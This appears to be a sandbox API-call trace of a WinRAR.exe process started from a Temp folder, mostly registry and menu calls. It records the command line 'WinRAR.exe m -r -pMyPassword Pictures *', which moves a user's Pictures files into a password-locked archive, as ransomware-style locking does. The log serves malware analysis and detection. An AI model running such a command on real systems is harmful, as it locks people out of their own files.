[0052.650] SetLastError (dwErrCode=0x0) [0052.650] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x18a650 | out: phkResult=0x18a650*=0x0) returned 0x2 [0052.650] GetLastError () returned 0x0 [0052.650] SetLastError (dwErrCode=0x0) [0052.650] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x189e80 | out: phkResult=0x189e80*=0x0) returned 0x2 [0052.650] GetLastError () returned 0x0 [0052.650] SetLastError (dwErrCode=0x0) [0052.650] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x18a650 | out: phkResult=0x18a650*=0x0) returned 0x2 [0052.650] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x8) returned 0x1eb120 [0052.650] RegisterDragDrop (hwnd=0x101f6, pDropTarget=0x1eb120) returned 0x0 [0052.651] GetLocalTime (in: lpSystemTime=0x13f2a9cd0 | out: lpSystemTime=0x13f2a9cd0*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0x10, wMinute=0x4, wSecond=0x10, wMilliseconds=0x317)) [0052.651] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x185990 | out: phkResult=0x185990*=0x0) returned 0x2 [0052.651] SHGetMalloc (in: ppMalloc=0x185930 | out: ppMalloc=0x185930*=0x7fefe535380) returned 0x0 [0052.651] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x185978 | out: ppidl=0x185978) returned 0x0 [0052.651] SHGetPathFromIDListW (in: pidl=0x202470, pszPath=0x187a80 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.651] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.651] IMalloc:Free (This=0x7fefe535380, pv=0x202470) [0052.651] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0x184730 | out: lpFindFileData=0x184730) returned 0xffffffffffffffff [0052.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0x184730 | out: lpFindFileData=0x184730) returned 0xffffffffffffffff [0052.651] GetLastError () returned 0x2 [0052.651] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x187a80, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0052.651] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0x184730 | out: lpFindFileData=0x184730) returned 0xffffffffffffffff [0052.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0x184730 | out: lpFindFileData=0x184730) returned 0xffffffffffffffff [0052.652] GetLastError () returned 0x2 [0052.652] GetLastError () returned 0x2 [0052.652] SetLastError (dwErrCode=0x2) [0052.652] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x188de0 | out: phkResult=0x188de0*=0x0) returned 0x2 [0052.652] GetLastError () returned 0x2 [0052.652] SetLastError (dwErrCode=0x2) [0052.652] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x188da0 | out: phkResult=0x188da0*=0x17c) returned 0x0 [0052.652] RegQueryValueExW (in: hKey=0x17c, lpValueName="rarkey", lpReserved=0x0, lpType=0x189204, lpData=0x189ae0, lpcbData=0x189200*=0x1000 | out: lpType=0x189204*=0x0, lpData=0x189ae0*=0x0, lpcbData=0x189200*=0x1000) returned 0x2 [0052.652] RegCloseKey (hKey=0x17c) returned 0x0 [0052.652] GetCurrentProcess () returned 0xffffffffffffffff [0052.652] GetCurrentThread () returned 0xfffffffffffffffe [0052.652] GetPriorityClass (hProcess=0xffffffffffffffff) returned 0x20 [0052.652] GetThreadPriority (hThread=0xfffffffffffffffe) returned 0 [0052.652] GetLastError () returned 0x2 [0052.652] SetLastError (dwErrCode=0x2) [0052.652] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x18c2e0 | out: phkResult=0x18c2e0*=0x17c) returned 0x0 [0052.652] RegQueryValueExW (in: hKey=0x17c, lpValueName="Priority", lpReserved=0x0, lpType=0x18c744, lpData=0x18c740, lpcbData=0x18c778*=0x4 | out: lpType=0x18c744*=0x0, lpData=0x18c740*=0x1, lpcbData=0x18c778*=0x4) returned 0x2 [0052.652] RegCloseKey (hKey=0x17c) returned 0x0 [0052.652] SetPriorityClass (hProcess=0xffffffffffffffff, dwPriorityClass=0x20) returned 1 [0052.652] SetThreadPriority (hThread=0xfffffffffffffffe, nPriority=0) returned 1 [0052.652] GetLastError () returned 0x2 [0052.653] SetLastError (dwErrCode=0x2) [0052.653] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x189a30 | out: phkResult=0x189a30*=0x17c) returned 0x0 [0052.653] RegQueryValueExW (in: hKey=0x17c, lpValueName="rarreg.key", lpReserved=0x0, lpType=0x189e94, lpData=0x18b770, lpcbData=0x189e90*=0x1000 | out: lpType=0x189e94*=0x0, lpData=0x18b770*=0x0, lpcbData=0x189e90*=0x1000) returned 0x2 [0052.653] RegCloseKey (hKey=0x17c) returned 0x0 [0052.653] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1871c0 | out: phkResult=0x1871c0*=0x0) returned 0x2 [0052.653] SHGetMalloc (in: ppMalloc=0x187160 | out: ppMalloc=0x187160*=0x7fefe535380) returned 0x0 [0052.653] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1871a8 | out: ppidl=0x1871a8) returned 0x0 [0052.653] SHGetPathFromIDListW (in: pidl=0x202470, pszPath=0x187370 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.653] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.653] IMalloc:Free (This=0x7fefe535380, pv=0x202470) [0052.653] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x187150 | out: phkResult=0x187150*=0x0) returned 0x2 [0052.653] SHGetMalloc (in: ppMalloc=0x1870f0 | out: ppMalloc=0x1870f0*=0x7fefe535380) returned 0x0 [0052.653] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x187138 | out: ppidl=0x187138) returned 0x0 [0052.653] SHGetPathFromIDListW (in: pidl=0x202470, pszPath=0x187370 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.653] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.653] IMalloc:Free (This=0x7fefe535380, pv=0x202470) [0052.653] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0052.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0052.653] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x187370, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0052.653] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.654] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.654] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0052.654] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0052.654] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x64) returned 0x1d5ee0 [0052.654] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d5ee0 | out: hHeap=0x1b0000) returned 1 [0052.654] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa) returned 0x1d6870 [0052.654] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0052.654] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa) returned 0x1d6870 [0052.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0052.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0052.654] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0052.654] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1e) returned 0x1ff170 [0052.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0052.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0052.654] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ff170 | out: hHeap=0x1b0000) returned 1 [0052.654] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x16) returned 0x1d6870 [0052.654] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0052.654] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x8) returned 0x1eb130 [0052.654] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb130 | out: hHeap=0x1b0000) returned 1 [0052.654] GetLastError () returned 0x2 [0052.654] SetLastError (dwErrCode=0x2) [0052.654] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Extraction", ulOptions=0x0, samDesired=0x9, phkResult=0x18c2e0 | out: phkResult=0x18c2e0*=0x0) returned 0x2 [0052.654] GetMenu (hWnd=0x101f6) returned 0x1013b [0052.654] GetSubMenu (hMenu=0x1013b, nPos=4) returned 0x10147 [0052.654] GetSubMenu (hMenu=0x10147, nPos=6) returned 0x10151 [0052.654] DeleteMenu (hMenu=0x10151, uPosition=0x0, uFlags=0x400) returned 1 [0052.654] LoadStringW (in: hInstance=0x13f160000, uID=0x67c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="&Save current") returned 0xd [0052.654] InsertMenuW (hMenu=0x10151, uPosition=0x0, uFlags=0x400, uIDNewItem=0xad, lpNewItem="&Save current") returned 1 [0052.655] LoadStringW (in: hInstance=0x13f160000, uID=0x67d, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="&Help") returned 0x5 [0052.655] InsertMenuW (hMenu=0x10151, uPosition=0x1, uFlags=0x400, uIDNewItem=0xae, lpNewItem="&Help") returned 1 [0052.655] InsertMenuW (hMenu=0x10151, uPosition=0x2, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0052.655] LoadStringW (in: hInstance=0x13f160000, uID=0x67e, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="&Default") returned 0x8 [0052.655] InsertMenuW (hMenu=0x10151, uPosition=0x3, uFlags=0x400, uIDNewItem=0xaf, lpNewItem="&Default") returned 1 [0052.655] GetCPInfoExW (in: CodePage=0xfde9, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0052.655] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0052.655] GetACP () returned 0x4e4 [0052.655] GetOEMCP () returned 0x1b5 [0052.655] GetCPInfoExW (in: CodePage=0x4e4, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0052.655] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0052.655] GetCPInfoExW (in: CodePage=0x1b5, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0052.655] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0052.655] InsertMenuW (hMenu=0x10151, uPosition=0x3e8, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0052.655] GetCPInfoExW (in: CodePage=0x362, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.235] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.235] GetCPInfoExW (in: CodePage=0x36a, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.236] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.236] GetCPInfoExW (in: CodePage=0x3a4, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.236] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.236] GetCPInfoExW (in: CodePage=0x3a8, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.236] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.236] GetCPInfoExW (in: CodePage=0x3b5, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.237] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.237] GetCPInfoExW (in: CodePage=0x3b6, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.237] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.237] GetCPInfoExW (in: CodePage=0x4e2, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.237] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.237] GetCPInfoExW (in: CodePage=0x4e3, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.237] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.237] GetCPInfoExW (in: CodePage=0x4e5, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.238] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.238] GetCPInfoExW (in: CodePage=0x4e6, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.238] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.238] GetCPInfoExW (in: CodePage=0x4e7, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.238] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.238] GetCPInfoExW (in: CodePage=0x4e8, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.238] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.238] GetCPInfoExW (in: CodePage=0x4e9, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.239] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.239] GetCPInfoExW (in: CodePage=0x4ea, dwFlags=0x0, lpCPInfoEx=0x18c470 | out: lpCPInfoEx=0x18c470) returned 1 [0053.239] InsertMenuItemW (hmenu=0x10151, item=0x3e8, fByPosition=1, lpmi=0x18c420) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0xaf, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x640, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x640, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x641, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x641, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x642, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x642, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x643, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x643, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x644, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x644, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x645, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x645, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x646, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x646, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x647, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x647, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x648, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x648, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x649, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x649, fByPositon=0, lpmii=0x18c670) returned 1 [0053.239] GetMenuItemInfoW (in: hmenu=0x10151, item=0x64a, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.239] SetMenuItemInfoW (hmenu=0x10151, item=0x64a, fByPositon=0, lpmii=0x18c670) returned 1 [0053.240] GetMenuItemInfoW (in: hmenu=0x10151, item=0x64b, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.240] SetMenuItemInfoW (hmenu=0x10151, item=0x64b, fByPositon=0, lpmii=0x18c670) returned 1 [0053.240] GetMenuItemInfoW (in: hmenu=0x10151, item=0x64c, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.240] SetMenuItemInfoW (hmenu=0x10151, item=0x64c, fByPositon=0, lpmii=0x18c670) returned 1 [0053.240] GetMenuItemInfoW (in: hmenu=0x10151, item=0x64d, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.240] SetMenuItemInfoW (hmenu=0x10151, item=0x64d, fByPositon=0, lpmii=0x18c670) returned 1 [0053.240] GetMenuItemInfoW (in: hmenu=0x10151, item=0x64e, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.240] SetMenuItemInfoW (hmenu=0x10151, item=0x64e, fByPositon=0, lpmii=0x18c670) returned 1 [0053.240] GetMenuItemInfoW (in: hmenu=0x10151, item=0x64f, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.240] SetMenuItemInfoW (hmenu=0x10151, item=0x64f, fByPositon=0, lpmii=0x18c670) returned 1 [0053.240] GetMenuItemInfoW (in: hmenu=0x10151, item=0x650, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 1 [0053.240] SetMenuItemInfoW (hmenu=0x10151, item=0x650, fByPositon=0, lpmii=0x18c670) returned 1 [0053.240] GetMenuItemInfoW (in: hmenu=0x10151, item=0x651, fByPosition=0, lpmii=0x18c670 | out: lpmii=0x18c670) returned 0 [0053.240] GetCurrentProcess () returned 0xffffffffffffffff [0053.240] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c5c0, lpSystemAffinityMask=0x18c5c8 | out: lpProcessAffinityMask=0x18c5c0, lpSystemAffinityMask=0x18c5c8) returned 1 [0053.240] GetCurrentProcess () returned 0xffffffffffffffff [0053.240] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c620, lpSystemAffinityMask=0x18c628 | out: lpProcessAffinityMask=0x18c620, lpSystemAffinityMask=0x18c628) returned 1 [0053.240] GetLastError () returned 0x5b0 [0053.240] SetLastError (dwErrCode=0x5b0) [0053.240] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x18c1d0 | out: phkResult=0x18c1d0*=0x180) returned 0x0 [0053.240] RegQueryValueExW (in: hKey=0x180, lpValueName="SMP", lpReserved=0x0, lpType=0x18c634, lpData=0x18c630, lpcbData=0x18c668*=0x4 | out: lpType=0x18c634*=0x0, lpData=0x18c630*=0x1, lpcbData=0x18c668*=0x4) returned 0x2 [0053.240] RegCloseKey (hKey=0x180) returned 0x0 [0053.240] GetLastError () returned 0x5b0 [0053.240] SetLastError (dwErrCode=0x5b0) [0053.240] GetLastError () returned 0x5b0 [0053.240] SetLastError (dwErrCode=0x5b0) [0053.240] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x18b5f0 | out: phkResult=0x18b5f0*=0x180) returned 0x0 [0053.241] RegCloseKey (hKey=0x180) returned 0x0 [0053.241] GetLastError () returned 0x5b0 [0053.241] SetLastError (dwErrCode=0x5b0) [0053.241] GetLastError () returned 0x5b0 [0053.241] SetLastError (dwErrCode=0x5b0) [0053.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0x18b5f0 | out: phkResult=0x18b5f0*=0x180) returned 0x0 [0053.241] RegCloseKey (hKey=0x180) returned 0x0 [0053.241] GetLastError () returned 0x5b0 [0053.241] SetLastError (dwErrCode=0x5b0) [0053.241] GetLastError () returned 0x5b0 [0053.241] SetLastError (dwErrCode=0x5b0) [0053.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0x18b5f0 | out: phkResult=0x18b5f0*=0x180) returned 0x0 [0053.241] RegCloseKey (hKey=0x180) returned 0x0 [0053.241] GetLastError () returned 0x5b0 [0053.241] SetLastError (dwErrCode=0x5b0) [0053.241] GetLastError () returned 0x5b0 [0053.241] SetLastError (dwErrCode=0x5b0) [0053.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0x18b5f0 | out: phkResult=0x18b5f0*=0x180) returned 0x0 [0053.241] RegCloseKey (hKey=0x180) returned 0x0 [0053.241] GetLastError () returned 0x5b0 [0053.241] SetLastError (dwErrCode=0x5b0) [0053.241] GetLastError () returned 0x5b0 [0053.241] SetLastError (dwErrCode=0x5b0) [0053.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x1, phkResult=0x18b5f0 | out: phkResult=0x18b5f0*=0x180) returned 0x0 [0053.241] RegCloseKey (hKey=0x180) returned 0x0 [0053.241] GetLastError () returned 0x5b0 [0053.242] SetLastError (dwErrCode=0x5b0) [0053.242] GetLastError () returned 0x5b0 [0053.242] SetLastError (dwErrCode=0x5b0) [0053.242] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\5", ulOptions=0x0, samDesired=0x1, phkResult=0x18b5f0 | out: phkResult=0x18b5f0*=0x0) returned 0x2 [0053.242] GetLastError () returned 0x5b0 [0053.242] SetLastError (dwErrCode=0x5b0) [0053.242] GetLastError () returned 0x5b0 [0053.242] SetLastError (dwErrCode=0x5b0) [0053.242] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x18c200 | out: phkResult=0x18c200*=0x180) returned 0x0 [0053.242] RegQueryValueExW (in: hKey=0x180, lpValueName="Default", lpReserved=0x0, lpType=0x18c664, lpData=0x18c660, lpcbData=0x18c698*=0x4 | out: lpType=0x18c664*=0x4, lpData=0x18c660*=0x1, lpcbData=0x18c698*=0x4) returned 0x0 [0053.242] RegCloseKey (hKey=0x180) returned 0x0 [0053.242] GetLastError () returned 0x5b0 [0053.242] SetLastError (dwErrCode=0x5b0) [0053.242] GetLastError () returned 0x5b0 [0053.242] SetLastError (dwErrCode=0x5b0) [0053.242] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.242] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcName", lpReserved=0x0, lpType=0x1898d4, lpData=0x18b630, lpcbData=0x1898d0*=0x1000 | out: lpType=0x1898d4*=0x0, lpData=0x18b630*=0x0, lpcbData=0x1898d0*=0x1000) returned 0x2 [0053.242] RegCloseKey (hKey=0x180) returned 0x0 [0053.242] GetLastError () returned 0x5b0 [0053.242] SetLastError (dwErrCode=0x5b0) [0053.242] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1894e0 | out: phkResult=0x1894e0*=0x180) returned 0x0 [0053.242] RegQueryValueExW (in: hKey=0x180, lpValueName="FileNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x189940*=0x200020 | out: lpType=0x0, lpData=0x0, lpcbData=0x189940*=0x0) returned 0x2 [0053.242] RegCloseKey (hKey=0x180) returned 0x0 [0053.242] GetLastError () returned 0x5b0 [0053.242] SetLastError (dwErrCode=0x5b0) [0053.242] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1894e0 | out: phkResult=0x1894e0*=0x180) 